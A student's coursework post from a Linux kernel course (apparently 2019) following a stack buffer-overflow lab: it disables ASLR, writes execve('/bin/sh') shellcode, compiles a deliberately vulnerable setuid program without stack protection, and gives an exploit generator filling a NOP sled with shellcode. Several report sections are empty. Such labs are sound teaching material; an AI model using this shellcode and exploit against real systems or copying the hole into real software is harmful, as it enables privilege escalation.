《Linux内核原理与分析》第十三周作业


一.本周内容概述


二.本周学习内容

1.实验简介

2.实验准备

$ sudo apt-get update
$ sudo apt-get install -y lib32z1 libc6-dev-i386
$ sudo apt-get install -y lib32readline-gplv2-dev

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

3.实验步骤

3.1 初始设置

$ sudo sysctl -w kernel.randomize_va_space=0

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

3.2 shellcode

#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

$ cd /tmp
$ vi stack.c
/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h> int bof(char *str)
{
char buffer[12]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return 1;
} int main(int argc, char **argv)
{
char str[517];
FILE *badfile; badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str); printf("Returned Properly\n");
return 1;
}

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

$ sudo su
$ gcc -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

3.4 攻击程序

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h> char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
; void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c
# gdb 调试
$ gdb stack
$ disass main

实践截图如下:

2019-2020-1 20199329《Linux内核原理与分析》第十三周作业-LMLPHP

$ gcc -o exploit exploit.c

3.5 攻击结果

4.练习


三.总结与疑难

代码运行问题及解决:


四.下周计划


2019 年 12月 11日

05-08 08:42